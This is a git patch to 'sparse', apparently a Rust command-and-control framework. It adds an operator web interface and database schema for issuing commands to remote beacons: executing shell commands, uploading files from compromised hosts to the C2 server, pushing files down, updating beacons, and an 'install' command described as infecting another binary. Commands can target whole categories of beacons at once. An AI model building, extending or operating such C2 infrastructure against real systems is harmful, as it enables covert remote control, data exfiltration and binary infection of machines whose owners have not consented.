From e0af4ad291f0a79d9504997d3a499b0bcf235f61 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Sun, 23 Feb 2025 01:46:18 -0500 Subject: [PATCH] feat: added basic command issuing --- .gitignore | 2 + Cargo.lock | 12 +- packages.nix | 19 +- sparse-handler/src/router.rs | 19 + sparse-server/Cargo.toml | 7 +- .../20250223030447_better_commands.sql | 49 +++ sparse-server/src/app.rs | 2 +- sparse-server/src/beacons/commands.rs | 409 +++++++++++++++++- sparse-server/src/beacons/sidebar.rs | 3 - sparse-server/src/cli.rs | 7 +- sparse-server/src/main.rs | 6 +- sparse-server/src/webserver.rs | 6 +- sparse-server/style/beacons/_commands.scss | 38 ++ 13 files changed, 563 insertions(+), 16 deletions(-) create mode 100644 sparse-server/migrations/20250223030447_better_commands.sql diff --git a/.gitignore b/.gitignore index 027175b..80a7a84 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,5 @@ zig-out .zig-cache freebsd.txt /sparse-server/db.sqlite* +/filetransfers +/sparse-server/filetransfers diff --git a/Cargo.lock b/Cargo.lock index 297e8eb..84a60c1 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3285,6 +3285,7 @@ dependencies = [ "hyper", "inventory", "js-sys", + "multer", "once_cell", "pin-project-lite", "send_wrapper", @@ -3535,6 +3536,7 @@ dependencies = [ "leptos_axum", "leptos_meta", "leptos_router", + "multer", "pbkdf2", "rand 0.9.0", "rcgen", @@ -3544,6 +3546,7 @@ dependencies = [ "send_wrapper", "serde", "serde_json", + "server_fn", "sha2", "sparse-actions", "sparse-handler", @@ -3556,6 +3559,7 @@ dependencies = [ "tower-http 0.5.2", "tracing", "tracing-subscriber", + "uuid", "wasm-bindgen", "web-sys", ] @@ -3700,6 +3704,7 @@ dependencies = [ "tokio-stream", "tracing", "url", + "uuid", ] [[package]] @@ -3781,6 +3786,7 @@ dependencies = [ "stringprep", "thiserror 2.0.11", "tracing", + "uuid", "whoami", ] @@ -3819,6 +3825,7 @@ dependencies = [ "stringprep", "thiserror 2.0.11", "tracing", + "uuid", "whoami", ] @@ -3844,6 +3851,7 @@ dependencies = [ "sqlx-core", "tracing", "url", + "uuid", ] [[package]] @@ -4552,9 +4560,9 @@ checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" [[package]] name = "uuid" -version = "1.13.1" +version = "1.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ced87ca4be083373936a67f8de945faa23b6b42384bd5b64434850802c6dccd0" +checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1" dependencies = [ "getrandom 0.3.1", ] diff --git a/packages.nix b/packages.nix index 63ba3ec..5ad5b4a 100644 --- a/packages.nix +++ b/packages.nix @@ -338,7 +338,24 @@ let copyToRoot = [ sparse-server ]; - config = { Cmd = [ "${sparse-server}/bin/sparse-server" ]; }; + runAsRoot = '' + #!${pkgs.runtimeShell} + mkdir -p /sparse-server + ''; + + config = { + Cmd = [ + "${sparse-server}/bin/sparse-server" + "serve" + "--file-store" + "/sparse-server/files" + "--management-address" + "0.0.0.0:3000" + ]; + Expose = { "3000" = ""; }; + Env = { DATABASE_URL = "sqlite:///sparse-server/db.sqlite"; }; + Volumes = { "/sparse-server" = { }; }; + }; }; outputs = rec { diff --git a/sparse-handler/src/router.rs b/sparse-handler/src/router.rs index 17202a7..48e364b 100644 --- a/sparse-handler/src/router.rs +++ b/sparse-handler/src/router.rs @@ -86,6 +86,25 @@ pub async fn handle_checkin( .cwd .to_str() .unwrap_or("(unknown)"); + + let template_category = sqlx::query!( + "SELECT default_category FROM beacon_template WHERE template_id = ?", + reg.template_id + ) + .fetch_optional(&state.db) + .await?; + + if let Some(category_id) = template_category.map(|r| r.default_category) { + sqlx::query!( + "INSERT INTO beacon_category_assignment (category_id, beacon_id) + VALUES (?, ?)", + category_id, + reg.beacon_id + ) + .execute(&state.db) + .await?; + } + sqlx::query!( r#"INSERT INTO beacon_instance (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname) diff --git a/sparse-server/Cargo.toml b/sparse-server/Cargo.toml index 36b1ce6..525a98a 100644 --- a/sparse-server/Cargo.toml +++ b/sparse-server/Cargo.toml @@ -31,7 +31,7 @@ tracing = { version = "0.1", optional = true } web-sys = { version = "0.3", features = ["WebSocket"] } leptos-use = { version = "0.15", default-features = false, features = ["use_websocket", "use_interval"] } codee = { version = "0.2", features = ["json_serde"] } -sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite"], optional = true } +sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true } chrono = { version = "0.4", features = ["serde"] } rpassword = { version = "7.3", optional = true } pbkdf2 = { version = "0.12", features = ["simple", "sha2", "std"], optional = true } @@ -47,6 +47,9 @@ serde_json = "1.0.139" send_wrapper = "0.6.0" duration-str = { version = "0.13.0", default-features = false, features = ["chrono"] } regex = "1.11.1" +server_fn = { version = "0.7.7", features = ["multipart"] } +multer = { version = "3.1.0", optional = true } +uuid = { version = "1.14.0", features = ["v4"], optional = true } sparse-actions = { path = "../sparse-actions", optional = true } sparse-handler = { path = "../sparse-handler", optional = true } @@ -78,6 +81,8 @@ ssr = [ "dep:rustls-pki-types", "dep:sparse-actions", "dep:rand", + "dep:multer", + "dep:uuid", "leptos/ssr", "leptos_meta/ssr", "leptos_router/ssr", diff --git a/sparse-server/migrations/20250223030447_better_commands.sql b/sparse-server/migrations/20250223030447_better_commands.sql new file mode 100644 index 0000000..692ebc5 --- /dev/null +++ b/sparse-server/migrations/20250223030447_better_commands.sql @@ -0,0 +1,49 @@ +DROP TABLE beacon_command_invocation; +DROP TABLE beacon_command; + +CREATE TABLE beacon_file ( + file_id varchar PRIMARY KEY NOT NULL, + + file_name varchar, + + beacon_source_id varchar, + + FOREIGN KEY (beacon_source_id) REFERENCES beacon_instance +); + +CREATE TABLE beacon_command ( + command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL, + + cmd_type text check (cmd_type in ('update', 'exec', 'install', 'upload', 'download', 'chdir', 'ls')), + + exec_command varchar, + + install_target varchar, + + upload_src varchar, + + download_src varchar, + download_path varchar, + + chdir_target varchar, + + FOREIGN KEY (download_src) REFERENCES beacon_file +); + +CREATE TABLE beacon_command_invocation ( + beacon_id varchar NOT NULL, + command_id int NOT NULL, + + issue_date int NOT NULL, + + invoker_id int NOT NULL, + + invocation_date int, + invocation_result varchar, + + PRIMARY KEY (beacon_id, command_id), + + FOREIGN KEY (command_id) REFERENCES beacon_command, + FOREIGN KEY (beacon_id) REFERENCES beacon_instance, + FOREIGN KEY (invoker_id) REFERENCES users +); diff --git a/sparse-server/src/app.rs b/sparse-server/src/app.rs index 2a17d2d..40e7d9e 100644 --- a/sparse-server/src/app.rs +++ b/sparse-server/src/app.rs @@ -112,7 +112,7 @@ pub fn App() -> impl IntoView { - + "Select a menu item on the left to get started"

diff --git a/sparse-server/src/beacons/commands.rs b/sparse-server/src/beacons/commands.rs index 7614124..818f823 100644 --- a/sparse-server/src/beacons/commands.rs +++ b/sparse-server/src/beacons/commands.rs @@ -1,10 +1,413 @@ -use leptos::prelude::*; +use leptos::{either::Either, prelude::*}; +use serde::{Deserialize, Serialize}; +use leptos::server_fn::codec::{MultipartData, MultipartFormData}; +use web_sys::FormData; +use send_wrapper::SendWrapper; + +#[cfg(feature = "ssr")] +use { + leptos::server_fn::error::NoCustomError, + sqlx::{sqlite::SqliteRow, FromRow, Row}, + tokio::io::AsyncWriteExt, +}; + +use crate::beacons::{BeaconResources, categories::Category}; + +#[derive(Clone, Serialize, Deserialize)] +pub enum CommandBody { + Update, + Exec { command: String }, + Install { target_binary: String }, + Upload { target_file: String }, + Download { src_file: String, target_path: String }, + Chdir { target_dir: String }, + Ls +} + +#[cfg(feature = "ssr")] +impl FromRow<'_, SqliteRow> for CommandBody { + fn from_row(row: &SqliteRow) -> sqlx::Result { + match row.try_get("cmd_type")? { + "update" => Ok(Self::Update), + "exec" => Ok(Self::Exec { + command: row.try_get("exec_command")? + }), + "install" => Ok(Self::Install { + target_binary: row.try_get("install_target")? + }), + "upload" => Ok(Self::Upload { + target_file: row.try_get("upload_src")? + }), + "download" => Ok(Self::Download { + src_file: row.try_get("download_src")?, + target_path: row.try_get("download_path")? + }), + "chdir" => Ok(Self::Chdir { + target_dir: row.try_get("chdir_target")? + }), + "ls" => Ok(Self::Ls), + type_name => Err(sqlx::Error::TypeNotFound { + type_name: type_name.to_string() + }) + } + } +} + +#[cfg_attr(feature = "ssr", derive(FromRow))] +#[derive(Clone, Serialize, Deserialize)] +pub struct BeaconCommand { + pub command_id: i64, + #[cfg_attr(feature = "ssr", sqlx(flatten))] + pub body: CommandBody +} + +#[server( + prefix = "/api/commands", + endpoint = "issue_command", + input = MultipartFormData +)] +pub async fn issue_command( + data: MultipartData, +) -> Result<(), ServerFnError> { + let Some(user) = crate::db::user::get_auth_session().await? else { + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); + }; + + let mut fields = std::collections::HashMap::::new(); + let mut download_src = None::; + + let mut data = data.into_inner().ok_or(ServerFnError::::ServerError( + "No form data was provided".to_owned(), + ))?; + while let Ok(Some(field)) = data.next_field().await { + let name = field.name().unwrap_or_default().to_string(); + tracing::trace!("Found field {}", &name); + if name != "download_src" { + fields.insert(name.clone(), field.text().await.unwrap_or_default()); + } else { + download_src = Some(field); + } + } + + enum Target { + Beacon(String), + Category(i64) + } + + let Some(target_beacons) = fields + .get("beacon_id") + .map(Clone::clone) + .map(Target::Beacon) + .or(fields + .get("category_id") + .map(|id| id.parse::().ok()) + .flatten() + .map(Target::Category)) else { + return Err(ServerFnError::::ServerError( + "A beacon command cannot be made without a target".to_owned(), + )); + }; + + let db = crate::db::get_db()?; + + let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() { + Some("update") => { + Ok(sqlx::query!( + "INSERT INTO beacon_command (cmd_type) VALUES ('update')" + ) + .execute(&db) + .await? + .last_insert_rowid()) + } + Some("ls") => { + Ok(sqlx::query!( + "INSERT INTO beacon_command (cmd_type) VALUES ('ls')" + ) + .execute(&db) + .await? + .last_insert_rowid()) + } + Some("chdir") => { + let chdir_target = fields + .get("chdir_target") + .filter(|s| !s.is_empty()) + .ok_or(ServerFnError::::ServerError( + "Directory target cannot be empty".to_owned(), + ))?; + + Ok(sqlx::query!( + "INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)", + chdir_target + ) + .execute(&db) + .await? + .last_insert_rowid()) + } + Some("exec") => { + let exec_command = fields + .get("exec_command") + .filter(|s| !s.is_empty()) + .ok_or(ServerFnError::::ServerError( + "Command cannot be empty".to_owned(), + ))?; + + Ok(sqlx::query!( + "INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)", + exec_command + ) + .execute(&db) + .await? + .last_insert_rowid()) + } + Some("install") => { + let install_target = fields + .get("install_target") + .filter(|s| !s.is_empty()) + .ok_or(ServerFnError::::ServerError( + "Install target cannot be empty".to_owned(), + ))?; + + Ok(sqlx::query!( + "INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)", + install_target + ) + .execute(&db) + .await? + .last_insert_rowid()) + } + Some("upload") => { + let upload_src = fields + .get("upload_src") + .filter(|s| !s.is_empty()) + .ok_or(ServerFnError::::ServerError( + "Upload file request path cannot be empty".to_owned(), + ))?; + + Ok(sqlx::query!( + "INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)", + upload_src + ) + .execute(&db) + .await? + .last_insert_rowid()) + } + Some("download") => { + let download_path = fields + .get("download_path") + .filter(|s| !s.is_empty()) + .ok_or(ServerFnError::::ServerError( + "Upload file request path cannot be empty".to_owned(), + ))?; + + let mut download_src = download_src + .ok_or(ServerFnError::::ServerError( + "File to upload cannot be empty".to_owned(), + ))?; + + let file_name = download_src.file_name().unwrap_or_default().to_string(); + let file_id = uuid::Uuid::new_v4(); + + let mut target_file_path = expect_context::(); + target_file_path.push(file_id.to_string()); + + tracing::debug!("Writing {file_name} to {target_file_path:?}"); + + let mut target_file = tokio::fs::OpenOptions::new() + .write(true) + .create(true) + .open(target_file_path) + .await?; + + while let Ok(Some(chunk)) = download_src.chunk().await { + target_file.write(&chunk).await?; + } + + sqlx::query!( + "INSERT INTO beacon_file (file_id, file_name) VALUES (?, ?)", + file_id, + file_name + ) + .execute(&db) + .await?; + + Ok(sqlx::query!( + "INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)", + file_id, + download_path + ) + .execute(&db) + .await? + .last_insert_rowid()) + } + _ => Err(ServerFnError::::ServerError( + "Unknown command type".to_owned(), + )) + }?; + + let now = chrono::Utc::now(); + + match target_beacons { + Target::Beacon(bid) => { + sqlx::query!( + "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id) + VALUES (?, ?, ?, ?)", + command_id, + now, + user.user_id, + bid + ) + .execute(&db) + .await?; + } + Target::Category(cid) => { + sqlx::query!( + "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id) + SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc + INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id + INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id + WHERE bc.category_id = ?", + command_id, + now, + user.user_id, + cid + ) + .execute(&db) + .await?; + } + } + + Ok(()) +} + +#[component] +pub fn CommandForm(categories: Vec, beacon_id: Option) -> impl IntoView { + let command_action = Action::new(move |data: &SendWrapper| { + let data = data.clone(); + async move { + issue_command(data.take().into()).await + } + }); + + view! { + {(categories.is_empty() && beacon_id.is_none()) + .then(|| view! { + "Missing categories! Cannot assign a command to a category if there are no categories" + })} + + {move || match command_action.value().get() { + None => Either::Right(()), + Some(v) => Either::Left(match v { + Ok(_) => Either::Right(view! { +

"Command successfully isued!"

+ }), + Err(e) => Either::Left(view! { +

"Error occurred issuing command:"

+

{format!{"{e:?}"}}

+ }) + }) + }} +
+
+ "Issue new command" + {if let Some(bid) = beacon_id.clone() { + Either::Left(view! { + + }) + } else { + Either::Right(view! { + + + }) + }} + + + + + + + + + + + + + + +
+ +
+
+ } +} #[component] pub fn CommandsView() -> impl IntoView { - view! { -
+ let BeaconResources { categories, .. } = expect_context(); + view! { +
+

"Issue commands"

+
+

+ "This page is used to issue commands to all beacons in a category. If you are looking to issue a command to a single beacon, select one from the left." +

+ +

+ "Available commands, and the required version of the beacon:" +

+ +
    +
  • "Exec: execute a command"
  • +
  • "Upload: upload a file from the server the beacon is on to the C2 server"
  • +
  • "Download: download a file from the C2 server to the computer the beacon is on"
  • +
  • "Update: Attempt to update the beacon on the remote system"
  • +
  • "Chdir: change the 'working directory' of the beacon. The working directory is actually stored on the C2 server, and the only action the beacon performs is to verify such a path exists"
  • +
  • "Ls: list files in the current 'working directory'"
  • +
  • "Install: infect another binary (only works for sparse beacons that already infect a binary; does not work for standalone beacons)"
  • +
+
+ + + {move || Suspend::new(async move { + let categories = match categories.await { + Ok(cs) => cs, + Err(e) => return Either::Left(view! { +

{"There was an error loading categories:".to_string()}

+

{format!("error: {}", e)}

+ }) + }; + + Either::Right(view! { + + }) + })} +
} } diff --git a/sparse-server/src/beacons/sidebar.rs b/sparse-server/src/beacons/sidebar.rs index 6173877..0bea4d2 100644 --- a/sparse-server/src/beacons/sidebar.rs +++ b/sparse-server/src/beacons/sidebar.rs @@ -100,8 +100,6 @@ pub fn BeaconSidebar() -> impl IntoView { return; }; - leptos::logging::log!("Received message: {m:?}"); - match m { SidebarEvents::BeaconList(bs) => { let mut bs = bs.to_vec(); @@ -128,7 +126,6 @@ pub fn BeaconSidebar() -> impl IntoView { return; }; if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) { - leptos::logging::log!("Found beacon to check in"); b.last_checkin = chrono::Utc::now(); } }), diff --git a/sparse-server/src/cli.rs b/sparse-server/src/cli.rs index 7ad0abe..f67dbc7 100644 --- a/sparse-server/src/cli.rs +++ b/sparse-server/src/cli.rs @@ -28,8 +28,13 @@ pub enum Command { /// Run the web and API server Serve { /// Address to bind to for the management interface - #[structopt(default_value = "127.0.0.1:3000")] + #[structopt(short = "m", long, default_value = "127.0.0.1:3000")] management_address: SocketAddrV4, + + /// Where to store files to transfer to target systems, and + /// files that are downloaded from remote systems + #[structopt(short = "f", long, default_value = "./filetransfers")] + file_store: PathBuf, }, /// Extract the public key and print it to standard out diff --git a/sparse-server/src/main.rs b/sparse-server/src/main.rs index 8ea86f0..34931dc 100644 --- a/sparse-server/src/main.rs +++ b/sparse-server/src/main.rs @@ -65,9 +65,9 @@ async fn main() -> anyhow::Result { tracing::info!("Done running database migrations!"); match options.command.clone() { - Some(cli::Command::Serve { management_address }) => { + Some(cli::Command::Serve { management_address, file_store }) => { tracing::info!("Performing requested action, acting as web server"); - webserver::serve_web(management_address, pool).await + webserver::serve_web(management_address, file_store, pool).await } Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS), Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await, @@ -77,7 +77,7 @@ async fn main() -> anyhow::Result { tracing::info!("Performing default action of acting as web server"); let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000); - webserver::serve_web(default_management_ip, pool).await + webserver::serve_web(default_management_ip, "./filetransfers".into(), pool).await } } } diff --git a/sparse-server/src/webserver.rs b/sparse-server/src/webserver.rs index 7aa4cc7..7507bcf 100644 --- a/sparse-server/src/webserver.rs +++ b/sparse-server/src/webserver.rs @@ -1,4 +1,4 @@ -use std::{net::SocketAddrV4, process::ExitCode}; +use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode}; use axum::{ extract::{ws, FromRef, Path, Query, State}, @@ -480,6 +480,7 @@ async fn handle_listener_events( pub async fn serve_web( management_address: SocketAddrV4, + file_store: PathBuf, db: SqlitePool, ) -> anyhow::Result { let conf = get_configuration(None).unwrap(); @@ -488,6 +489,8 @@ pub async fn serve_web( let beacon_event_broadcast = tokio::sync::broadcast::Sender::::new(128); let beacon_listeners = sparse_handler::BeaconListenerMap::default(); + tokio::fs::create_dir_all(&file_store).await?; + let compression_layer = tower_http::compression::CompressionLayer::new() .gzip(true) .deflate(true) @@ -525,6 +528,7 @@ pub async fn serve_web( provide_context(beacon_listeners.clone()); provide_context(db.clone()); provide_context(beacon_event_broadcast.clone()); + provide_context(file_store.clone()); }, { let leptos_options = leptos_options.clone(); diff --git a/sparse-server/style/beacons/_commands.scss b/sparse-server/style/beacons/_commands.scss index e69de29..2134f3a 100644 --- a/sparse-server/style/beacons/_commands.scss +++ b/sparse-server/style/beacons/_commands.scss @@ -0,0 +1,38 @@ +main.beacons div.commands { + padding: 10px; + overflow-y: scroll; + + fieldset { + display: grid; + grid-template-columns: 400px 200px; + grid-row-gap: 10px; + + input, label { + margin: 10px; + } + } + + .cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir { + display: none; + } + + select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec { + display: block; + } + + select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload { + display: block; + } + + select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download { + display: block; + } + + select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir { + display: block; + } + + select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install { + display: block; + } +}